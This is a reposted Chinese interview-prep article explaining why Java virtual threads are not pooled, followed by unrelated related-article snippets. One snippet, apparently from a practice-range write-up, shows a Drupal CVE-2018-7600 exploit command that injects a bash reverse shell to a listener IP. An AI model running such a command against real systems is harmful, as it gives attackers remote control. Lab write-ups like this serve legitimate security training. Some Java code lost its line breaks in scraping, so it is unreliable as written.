面试官:为什么没有虚拟线程池?

news/2025/9/24 17:12:22/文章来源:https://www.cnblogs.com/vipstone/p/19109580

Java 官方文档明确指出:

Do not pool virtual threads.

虚拟线程不是昂贵资源,永远不应该被池化。

应该为每个任务创建一个新的虚拟线程,它们应该是短暂的、任务级别的。

这是为什么呢?为什么只有虚拟线程 Virtual Thread,却没有虚拟线程池 Virtual Thread Pool 呢?

主要原因

之所以只有虚拟线程是因为,虚拟线程创建成本极低,低到其创建成本远小于线程池的管理成本。

也就是说,线程池的管理成本远远大于虚拟线程的创建成本,所以使用虚拟线程池是一个不划算的操作。

具体来说,传统平台线程的创建涉及分配大量的栈内存(通常~1MB)并与操作系统交互,开销很大。池化是为了复用这些“昂贵”的线程,避免反复申请资源。而虚拟线程由 JVM 在用户态管理,初始栈空间很小(约几百字节),创建和销毁的代价极低,池化带来的收益远小于管理池本身的复杂度。

“用完就扔”比“池化复用”更高效、更简单。一个线程约等于几千个虚拟线程。

一任务一虚线程的理念

官方推荐并为每个任务创建一个全新的虚拟线程,例如通过 Executors.newVirtualThreadPerTaskExecutor(),任务完成后虚拟线程即被丢弃。这种模式代码更清晰,避免了因线程复用可能带来的线程局部变量(ThreadLocal)污染等问题,也无需担心池的大小调优等问题。

最佳实现代码:

// 无需池化 - 直接创建
try (var executor = Executors.newVirtualThreadPerTaskExecutor()) {IntStream.range(0, 10_000).forEach(i -> {executor.submit(() -> {Thread.sleep(Duration.ofSeconds(1));return i;});});
} // 自动关闭(所有虚拟线程完成即销毁)

ExecutorService 并不是一个传统意义上的“池”,你可以把它理解为一个虚拟线程工厂。每次 submit 一个任务,它都会立即创建一个新的虚拟线程来执行该任务,它内部并不维护(一个可复用的)线程队列。

如何限制并发?

单进程百万虚拟线程的情况下, JVM 内存是完全无压力的。如果你还是担心太多的虚拟线程会导致程序崩溃,在特定的场景可以使用 Semaphore 等技术来实现局部限流,例如以下代码这样:

// 使用信号量而非线程池来限制对某个资源的并发访问
Semaphore semaphore = new Semaphore(100000); // 限制最大并发数为100000try (var executor = Executors.newVirtualThreadPerTaskExecutor()) {for (int i = 0; i < 10_000; i++) {executor.submit(() -> {semaphore.acquire(); // 获取许可,若已达上限则阻塞等待try {// 访问受保护的资源或执行需要限流的操作callLimitedService();} finally {semaphore.release(); // 释放许可}});}
}

小结

虚拟线程 Virtual Thread 因为其创建成本极低(约几百字节),所以不会完全不需要使用池化技术来实现,因为池化技术的本质是复用那些“昂贵”的线程,避免反复申请资源的。如果要局部限流虚拟线程可以使用 Semaphore 来实现。

本文已收录到我的面试小站 www.javacn.site,其中包含的内容有:场景题、SpringAI、SpringAIAlibaba、并发编程、MySQL、Redis、Spring、Spring MVC、Spring Boot、Spring Cloud、MyBatis、JVM、设计模式、消息队列、Dify、Coze、AI常见面试题等。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/915994.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

做外国网站自媒体网络工程师和做网站哪个难

————— 第二天 —————————————————下面我们一起来研究这三个问题。问题1&#xff1a;哪些是需要回收的&#xff1f;首先我们需要知道如何哪些垃圾需要回收&#xff1f;判断对象是否需要回收有两种算法。一种是引用计数算法、一种是可达性分析算法。引用计…

润生软件简介:以“重构与共生”引领商业未来

2014年,广东企业家陈总敏锐洞察到:当算力实现百倍跃升,数字信息将深刻重塑社会结构,传统行业与企业形态面临全面重构。基于此,他发起创立了润生公司(Reconstruction-Symbiosis Framework,简称RS),开启一场以“…

Python 并发编程

Python 并发编程是提升程序执行效率的核心技术,尤其在处理多任务场景(如网络请求、数据计算、文件 IO 等)时至关重要。 1、threading与线程池 多线程是 Python 中最常用的并发方式之一,通过创建多个线程实现任务并…

博物馆展陈设计公司搜索引擎优化什么意思

hi&#xff0c;我是逸尘&#xff0c;一起学java吧 目标&#xff08;任务驱动&#xff09; 1.请重点的掌握I/O的。 场景&#xff1a;最近你在企业也想搞一个短视频又想搞一个存储的云盘&#xff0c;你一听回想到自己对于这些存储的基础还不是很清楚&#xff0c;于是回家开始了…

做液压的公司网站成都营销型网站建设中账号

文章目录 1. 命令概述2. 命令格式3. 常用选项4. 相关描述4.1 tree 命令安装 5. 参考示例5.1 创建树形目录5.2 使用 tree 命令查看树形目录 1. 命令概述 tree 命令用于在命令行界面以树状图形式显示目录及其子目录的内容。这个命令递归地列出所有子目录&#xff0c;并可选择显示…

安装pyautogui时与setuptool时冲突报错-module setuptools.dist has no attribute check_test_suite

采用离线的安装方式: 下载 命令: pip install E:\Codes\Wheels\PyAutoGUI-0.9.54.tar.gz --no-deps --target=..\myyolo1\Lib\site-packages

牛客周赛 Round 110 题解

View Post牛客周赛 Round 110 题解牛客周赛 Round 110 A 小苯的数字染色 ​ 手玩发现只有 \(n\) 为 \(1\) 不行。 void solve(){int n;cin >> n;if(n == 1){cout << "NO\n";}else{cout <<…

统计机器学习经典分类算法MATLAB实现

一、逻辑回归(Logistic Regression) 核心代码: % 加载数据(以鸢尾花数据集为例) load fisheriris; X = meas(:,1:2); % 选择前两个特征 Y = species;% 数据划分 cv = cvpartition(Y, HoldOut, 0.3); X_train = X(…

从安装到中文界面,一文带你玩转 DaVinci Resolve 20(零基础也能搞定)

软件介绍 DaVinci Resolve Studio v20.0.49是Blackmagic Design推出的专业影视后期制作软件,集成剪辑、调色、视觉特效、动态图形与音频后期功能于一体。该版本新增超100项创新功能,包括基于AI的UltraNR降噪工具、智…

靶场1

进入kali root权限反弹一个shell 攻击机监听: nc -lvnp 10000 目的主机: python3 drupa7-CVE-2018-7600.py http://210.26.72.210/drupal/ -c "bash -c bash -i >& /dev/tcp/210.26.72.230/10000 0>&…

昆明网站建设织梦外国客户网站

首先探讨一下为什么要使用nginx&#xff1a; 1、类似于apacheresin&#xff0c;nginx用于提供静态页面服务&#xff0c;比java服务器要强。虽然这些java服务器的性能都不赖&#xff0c;tomcat新版甚至还支持了epoll&#xff0c;但是用nginx来处理静态文件是一定比这些服务器更…

品牌茶业都在哪些网站做宣传潍坊网站建设方案咨询

事务的四个特征&#xff1a; 原子性 &#xff1a; 是指事务中包含的操作都被看做是一个逻辑单元 一致性&#xff1a; 开始前和结束后数据库都处于一致性状态 隔离性&#xff1a; 对数据库修改的多个事务是彼此隔离的 持久性&#xff1a; 事务完成之后对系统的影响是永久的

299、已凉

299、已凉299、已凉 唐●韩偓 碧阑干外绣帘垂,猩色屏风画折枝。 八尺龙须方锦褥,已凉天气未寒时。【现代诗意译】 翠绿栏杆外 绣帘低垂 猩红屏风 画着折枝花卉龙须八尺长 席上铺着锦绣被褥 天气已经凉了 还未到冷的时…

linux手动安装阿里云Logtail采集Nginx访问日志

这是一篇根据您提供的操作流程编写的技术文档。它详细记录了手动安装和配置Logtail以采集Nginx日志的全过程。技术文档:手动安装阿里云Logtail采集Nginx访问日志1. 文档概述 本文档详细描述了在Linux服务器上通过手动…

WPF的数据绑定之通知修改

1 添加接口 internal class MainViewModel : INotifyPropertyChanged {// 添加通知事件public event PropertyChangedEventHandler? PropertyChanged; }2 在类中添加相关参数事件调用 private string _name; public s…

古代史

P9034 「KDOI-04」Again Counting Set 第三条限制非常强,如果 \(\min \neq 0\),那么其它所有数都必须为 \(1\),也就是集合中的数全是 \(1\),这样,\(\min+\max+\operatorname{mex}=2\),因此集合大小必须为 \(2\)。…

matlab运行时遇到的license问题

遇到的问题如图:解决方法: 在"D:\Program Files\MATLAB\R2018a\bin"目录下创建一个matlabbat.bat ,内容为 matlab.exe -c "D:\Program Files\MATLAB\R2018a\licenses\license_standalone.lic" 然后…

HarmonyOS 5.0+ 安全加密与数据存储最佳实践指南

1 安全加密基础与规范要求 在移动应用开发中,数据安全是保护用户隐私和满足合规要求的基石。等保2.0(GB/T 22239-2019)和金融行业标准(JR/T 0071-2020)对敏感数据的存储与传输提出了明确要求,以下是核心规范要点…

HarmonyOS之设备硬件能力调用:传感器、蓝牙与定位

本文将全面介绍如何在HarmonyOS 5.0+中调用设备硬件能力,包括传感器数据获取、蓝牙设备连接与通信、定位服务使用等核心技术。1. 硬件能力调用概述 HarmonyOS提供了统一的硬件访问框架,允许开发者安全、高效地访问设…